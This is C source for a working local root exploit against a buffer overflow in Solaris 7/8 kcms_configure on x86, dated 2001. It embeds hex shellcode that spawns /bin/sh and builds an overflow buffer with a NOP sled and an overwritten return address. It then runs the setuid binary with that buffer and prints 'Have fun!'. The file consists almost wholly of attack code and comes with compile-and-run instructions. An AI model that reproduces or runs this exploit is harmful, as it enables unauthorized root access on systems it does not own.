/*
 *  Solaris 7/8 kcms_configure command line buffer overflow on both sparc/Intel platforms
 *
 *  root exploit for x86
 *
 *  Thanks to the signals handler. It doesn't make life easier, does it?
 *
 *  Compile:    $gcc -o ex kcms_configure_ex.c
 *      Run:    $./ex xserver:0.0 [adjustment]
 *
 *  Default should work.
 *
 *  User should take resposibility to use this code.
 *
 *  virtualcat (virtualcat@xfocus.org)
 *
 *  http://www.xfocus.org
 *
 *  06-July-2001
 *
 */

#include <stdio.h>
#define RET_DIS	1025  /* Displacement to overwrite the return address    */
                      /* 1002 is the original magic                      */
                      /* Believe or not? - Due to the kcms_configure's   */
                      /* signal handling, it ends up with this number ;) */
#define NOP	0x90  /* NOOPs                                           */
#define NNOP    500   /* Number of NOOPs - To make life much easier      */

char shellCode[] =    /*      Solaris x86 shellcode by cheeze wizz       */
    "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
    "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
    "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
    "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
    "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
    "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";

int get_esp()
{
  __asm__("mov %esp, %eax");
}

void usage(const char* cmd)
{
  printf("Uasge: %s xserver:DISPLAY [adjustment]\n\n", cmd);
  printf("  xserver     -> X window server's ip\n");
  printf("  DISPLAY     -> X window server's display\n");
  printf("  adjustment  -> Default(0) should work, or increase/decrease by 4\n\n");
  printf("  eg. $./xx 192.168.0.88:0.0\n");
  printf("      $./xx 192.168.0.88:0.0 -16\n");
  exit(1);
}

int main(int argc, char **argv)
{
  /* Just to make it easy to understand    */
  char*   charPtr = NULL;
  char*   bufferPtr = NULL;
  int*    intPtr = NULL;

  int shellCodeLength = strlen(shellCode);
  int bufferSize = RET_DIS + 4 + NNOP + shellCodeLength + 1;

  int retAddr = 0;
  int adjustment = 0;
  int i;
  int esp = get_esp();

  if(argc >= 3)
  {
    adjustment = atoi(argv[2]);
  }
  else
  {
    if(argc == 1)
    {
      usage(argv[0]);
    }
  }

  retAddr = esp + adjustment;
  bufferPtr = (char *) malloc(bufferSize);

  if(bufferPtr != NULL)
  {
    /* Fill the whole buffer with 'A' */
    memset((char *)bufferPtr, 0x41, bufferSize);

    /* Butt in our return address */
    intPtr = (int *) (bufferPtr + RET_DIS);
    *intPtr++ = retAddr;

    charPtr = (char *) intPtr;

    /* To increase the probabilty to hit the jackpot */
    for(i=0; i<NNOP; i++)
    {
      *charPtr++ = NOP;
    }

    /* Butt in the shell code */
    for(i=0; i<shellCodeLength; i++)
    {
      *charPtr++ = shellCode[i];
    }

    /* Null terminated - Not necessary but nice to have */
    *charPtr = 0;

    printf("esp=0x%.8x, adjustment=%d, jump to 0x%.8x. Have fun!\n", esp, adjustment, retAddr);

    /* Try to hit the jackpot */
    execl("/usr/openwin/bin/kcms_configure", "kcms_configure", "-d", argv[1], bufferPtr, NULL);
    printf("Doesn't work! :(\n");
  }
  else
  {
    printf("No more free memory!\n");
  }
}
